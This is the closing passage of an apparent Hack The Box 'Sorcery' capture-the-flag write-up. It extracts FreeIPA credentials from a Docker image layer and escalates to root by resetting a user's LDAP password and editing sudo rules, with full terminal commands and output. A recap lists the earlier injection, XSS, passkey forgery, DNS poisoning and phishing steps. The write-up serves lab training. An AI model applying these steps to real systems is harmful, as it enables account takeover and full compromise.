"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/docker-entrypoint.sh\"],\"Labels\":{\"org.opencontainers.image.ref.name\":\"ubuntu\",\"org.opencontainers.image.version\":\"24.04\"},\"ArgsEscaped\":true},\"created\":\"2024-10-30T18:15:58.62562563Z\",\"id\":\"cc4177898ec5fab88855721f211af318dd1bff1d78864a3061b632c9450b404a\",\"os\":\"linux\",\"parent\":\"cc10a280f66eb0883a4495e70ff18a840c645fd94d3146ac59cf69b7c57a30d6\",\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"cc10a280f66eb0883a4495e70ff18a840c645fd94d3146ac59cf69b7c57a30d6\",\"parent\":\"0d358793c636aa948e3690902cb3cc4b8def0d5ed98262cc20029f03f78cd2c8\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2024-10-30T18:15:58.62562563Z\",\"container_config\":{\"Cmd\":[\"COPY --chmod=0700 docker-entrypoint.sh /docker-entrypoint.sh # buildkit\"]}}"
},
{
"v1Compatibility": "{\"id\":\"0d358793c636aa948e3690902cb3cc4b8def0d5ed98262cc20029f03f78cd2c8\",\"parent\":\"73cb419a8d89a9f1a20752a796dd0c7938e237d7e8864cde2c825bc7d7017dd8\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2024-10-30T18:15:58.620539134Z\",\"container_config\":{\"Cmd\":[\"RUN /bin/sh -c apt-get install -y freeipa-client # buildkit\"]}}"
},
{
"v1Compatibility": "{\"id\":\"73cb419a8d89a9f1a20752a796dd0c7938e237d7e8864cde2c825bc7d7017dd8\",\"parent\":\"82d2f37011ae564f95a5cba35b8345c0672693cda98b753c0be53eb0523db14f\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2024-10-30T18:15:30.984234849Z\",\"container_config\":{\"Cmd\":[\"RUN /bin/sh -c apt-get update # buildkit\"]}}"
},
{
"v1Compatibility": "{\"id\":\"82d2f37011ae564f95a5cba35b8345c0672693cda98b753c0be53eb0523db14f\",\"parent\":\"6213984ec98410a5953c6233ee50d4f99189e953c96501f564708003ebdfa0e9\",\"created\":\"2024-10-11T03:48:04.086892655Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"6213984ec98410a5953c6233ee50d4f99189e953c96501f564708003ebdfa0e9\",\"parent\":\"314371bc38ca2cbdc6e4f6c9ecf2a4de7aeaf31c6d71a45872671a5063fb1b5f\",\"created\":\"2024-10-11T03:48:03.777394067Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:34dc4f3ab7a694ecde47ff7a610be18591834c45f1d7251813267798412604e5 in / \"]}}"
},
{
"v1Compatibility": "{\"id\":\"314371bc38ca2cbdc6e4f6c9ecf2a4de7aeaf31c6d71a45872671a5063fb1b5f\",\"parent\":\"b14a7346a5c3b89b4886c1d8576cbcbd73d2b85ae2e344e71602eec95c3f6682\",\"created\":\"2024-10-11T03:48:01.642491381Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) LABEL org.opencontainers.image.version=24.04\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"b14a7346a5c3b89b4886c1d8576cbcbd73d2b85ae2e344e71602eec95c3f6682\",\"parent\":\"8e9880e2f2f433621c34c94d346eecaf8e8e500e3e55f52a6c322d2f747ae137\",\"created\":\"2024-10-11T03:48:01.607507065Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) LABEL org.opencontainers.image.ref.name=ubuntu\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"8e9880e2f2f433621c34c94d346eecaf8e8e500e3e55f52a6c322d2f747ae137\",\"parent\":\"3690474eb5b4b26fdfbd89c6e159e8cc376ca76ef48032a30fa6aafd56337880\",\"created\":\"2024-10-11T03:48:01.571862048Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ARG LAUNCHPAD_BUILD_ARCH\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"3690474eb5b4b26fdfbd89c6e159e8cc376ca76ef48032a30fa6aafd56337880\",\"created\":\"2024-10-11T03:48:01.529767151Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ARG RELEASE\"]},\"throwaway\":true}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "24CJ:D7AN:ODYG:2VY7:SS2R:LJJM:2IES:F3MD:CVRT:XXCW:UAWB:MPOQ",
"kty": "EC",
"x": "1x77CdH_Gy-wpuja7xRBdEJEB7Du6aHkz5AmMcMfAkw",
"y": "vFTXmYui-zC7wsAJjTXPduiZjRxbNWxetPp6yRFxvao"
},
"alg": "ES256"
},
"signature": "RcXtYoYUiClgcdBWXB9s4GlJD-J44D_NWv42BiQh4MZhNCQ9kb0Hb_VLUk1-doy2QzLm8rKEAoCQ9GmIlAW3jg",
"protected": "eyJmb3JtYXRMZW5ndGgiOjUwODYsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyNi0wNC0wOFQyMjowMjozMloifQ"
}
]
}
rebecca_smith@main:/etc/ipa/nssdb$ BLOB2="sha256:292e59a87dfb0fb3787c3889e4c1b81bfef0cd2f3378c61f281a4c7a02ad1787"
rebecca_smith@main:/etc/ipa/nssdb$ curl -s -u "rebecca_smith:-7eAZDp9-f9mg${OTP}" "http://127.0.0.1:5000/v2/test-domain-workstation/blobs/${BLOB2}" -o /tmp/layer2.tar.gz
rebecca_smith@main:/etc/ipa/nssdb$ mkdir -p /tmp/layer2_out
rebecca_smith@main:/etc/ipa/nssdb$ tar -xzf /tmp/layer2.tar.gz -C /tmp/layer2_out/
rebecca_smith@main:/etc/ipa/nssdb$ find /tmp/layer2_out -type f | head -20
/tmp/layer2_out/docker-entrypoint.sh
rebecca_smith@main:/etc/ipa/nssdb$ cat /tmp/layer2
layer2.tar.gz layer2_out/
rebecca_smith@main:/etc/ipa/nssdb$ cat /tmp/layer2_out/docker-entrypoint.sh
#!/bin/bash
ipa-client-install --unattended --principal donna_adams --password 3FEVPCT_c3xDH \
--server dc01.sorcery.htb --domain sorcery.htb --no-ntp --force-join --mkhomedir
rebecca_smith@main:/etc/ipa/nssdb$
Credentials: donna_adams / 3FEVPCT_c3xDH.
Privilege escalation to root via FreeIPA
Understanding the FreeIPA privilege chain
We authenticated as donna_adams via Kerberos and enumerated her privileges.
rebecca_smith@main:/etc/ipa/nssdb$ kinit donna_adams
Password for donna_adams@SORCERY.HTB:
rebecca_smith@main:/etc/ipa/nssdb$ klist
Ticket cache: KEYRING:persistent:2003:2003
Default principal: donna_adams@SORCERY.HTB
Valid starting Expires Service principal
04/08/26 22:13:28 04/09/26 22:04:05 krbtgt/SORCERY.HTB@SORCERY.HTB
rebecca_smith@main:/etc/ipa/nssdb$
Checking her roles, donna_adams is an indirect member of change_userPassword_ash_winter_ldap — meaning she can change ash_winter's password via LDAP.
rebecca_smith@main:/etc/ipa/nssdb$ ipa user-show donna_adams --all
dn: uid=donna_adams,cn=users,cn=accounts,dc=sorcery,dc=htb
User login: donna_adams
First name: donna
Last name: adams
Full name: donna adams
Display name: donna adams
Initials: da
Home directory: /home/donna_adams
GECOS: donna adams
Login shell: /bin/sh
Principal name: donna_adams@SORCERY.HTB
Principal alias: donna_adams@SORCERY.HTB
User password expiration: 20400101000000Z
Email address: donna_adams@sorcery.htb
UID: 1638400003
GID: 1638400003
Account disabled: False
Preserved user: False
Password: True
Member of groups: ipausers
Member of HBAC rule: allow_sudo, allow_ssh
Indirect Member of role: change_userPassword_ash_winter_ldap
Kerberos keys available: True
ipantsecurityidentifier: S-1-5-21-820725746-4072777037-1046661441-1003
ipauniqueid: c60a9328-96eb-11ef-ace5-0242ac170002
objectclass: top, person, organizationalperson, inetorgperson, inetuser, posixaccount, krbprincipalaux, krbticketpolicyaux, ipaobject, ipasshuser, ipaSshGroupOfPubKeys, mepOriginEntry, ipantuserattrs
rebecca_smith@main:/etc/ipa/nssdb$
ash_winter is an indirect member of add_sysadmin — meaning he can add users to the sysadmins group. And sysadmins has the manage_sudorules_ldap role — meaning members can modify sudo rules.
rebecca_smith@main:/etc/ipa/nssdb$ ipa user-show ash_winter --all
dn: uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb
User login: ash_winter
First name: ash
Last name: winter
Full name: ash winter
Display name: ash winter
Initials: aw
Home directory: /home/ash_winter
GECOS: ash winter
Login shell: /bin/sh
Principal name: ash_winter@SORCERY.HTB
Principal alias: ash_winter@SORCERY.HTB
User password expiration: 20260707222214Z
Email address: ash_winter@sorcery.htb
UID: 1638400004
GID: 1638400004
Account disabled: False
Preserved user: False
Password: True
Member of groups: ipausers
Member of HBAC rule: allow_sudo, allow_ssh
Indirect Member of role: add_sysadmin
Kerberos keys available: True
ipantsecurityidentifier: S-1-5-21-820725746-4072777037-1046661441-1004
ipauniqueid: c862fa48-96eb-11ef-9f47-0242ac170002
krblastpwdchange: 20260408222214Z
objectclass: top, person, organizationalperson, inetorgperson, inetuser, posixaccount, krbprincipalaux, krbticketpolicyaux, ipaobject, ipasshuser, ipaSshGroupOfPubKeys, mepOriginEntry, ipantuserattrs
rebecca_smith@main:/etc/ipa/nssdb$
The path is clear: donna_adams -> change ash_winter's password -> ash_winter adds himself to sysadmins -> modify sudo rules to grant ash_winter root access.
Executing the chain
Step 1: Change ash_winter's password as donna_adams.
rebecca_smith@main:/etc/ipa/nssdb$ ldapmodify -H ldap://dc01.sorcery.htb -Y GSSAPI << 'EOF'
dn: uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb
changetype: modify
replace: userPassword
userPassword: Winter2024!
EOF
SASL/GSSAPI authentication started
SASL username: donna_adams@SORCERY.HTB
SASL SSF: 256
SASL data security layer installed.
modifying entry "uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb"
rebecca_smith@main:/etc/ipa/nssdb$
Step 2: Authenticate as ash_winter and add himself to sysadmins.
rebecca_smith@main:/etc/ipa/nssdb$ kinit ash_winter
Password for ash_winter@SORCERY.HTB:
Password expired. You must change it now.
Enter new password:
Enter it again:
rebecca_smith@main:/etc/ipa/nssdb$ kinit ash_winter
Password for ash_winter@SORCERY.HTB:
rebecca_smith@main:/etc/ipa/nssdb$ klist
Ticket cache: KEYRING:persistent:2003:krb_ccache_FY1uhJ8
Default principal: ash_winter@SORCERY.HTB
Valid starting Expires Service principal
04/08/26 22:22:20 04/09/26 21:31:49 krbtgt/SORCERY.HTB@SORCERY.HTB
Step 3: Add ash_winter to the allow_sudo rule.
rebecca_smith@main:/etc/ipa/nssdb$ ipa sudorule-add-user allow_sudo --users=ash_winter
Rule name: allow_sudo
Enabled: True
Host category: all
Command category: all
RunAs User category: all
RunAs Group category: all
Users: admin, ash_winter
-------------------------
Number of members added 1
-------------------------
Step 4: SSH in as ash_winter, restart sssd to refresh the sudo cache, and escalate.
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ ssh ash_winter@sorcery.htb
(ash_winter@sorcery.htb) Password:
Creating directory '/home/ash_winter'.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
-sh: 32: [[: not found
-sh: 32: Wed Apr 8 22:32:53 2026: not found
Last login: Wed Apr 8 22:32:53 2026 from 10.10.14.102
$
$ sudo /usr/bin/systemctl restart sssd
$ sudo -l
Matching Defaults entries for ash_winter on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User ash_winter may run the following commands on localhost:
(root) NOPASSWD: /usr/bin/systemctl restart sssd
$ sudo su -
[sudo] password for ash_winter:
root@main:~# id
uid=0(root) gid=0(root) groups=0(root)
root@main:~#
And there it was — root.
Conclusion
In summary, this box was a twelve-step kill chain that touched nearly every discipline in offensive security.
We started with source code review that exposed a Cypher injection in Neo4j, leaking a seller registration key. Seller access gave us a Stored XSS via dangerouslySetInnerHTML, which we weaponised into a full WebAuthn passkey registration against the admin account — manually constructing CBOR attestation objects because crypto.subtle wasn't available over HTTP. Authenticating with the forged passkey gave us an unrestricted admin JWT.
Admin access unlocked a debug endpoint that sent raw TCP to internal services. We hand-crafted a Kafka Produce API v0 binary request to publish a command to the update topic, which the DNS container consumed and executed via bash -c, giving us container-level RCE.
From inside the container, we stole the Root CA's private key from an internal FTP server, signed a TLS certificate, poisoned DNS, and phished tom_summers through a fake Gitea login. His SSH password got us onto the host. An Xvfb framebuffer screenshot revealed tom_summers_admin's password.
With tom_summers_admin, we raced strace against docker login to intercept rebecca_smith's credentials from a custom .NET credential helper. Reversing the helper revealed an all-zeros AES key and a predictable OTP algorithm. Authenticated to the Docker registry, we pulled an image containing donna_adams' FreeIPA credentials.
The final escalation was a FreeIPA privilege chain: donna_adams changed ash_winter's password, ash_winter added himself to sysadmins, modified the sudo rules to grant himself full access, and sudo su handed us root.
That wraps up Sorcerer. Thanks for reading — see you in the next one!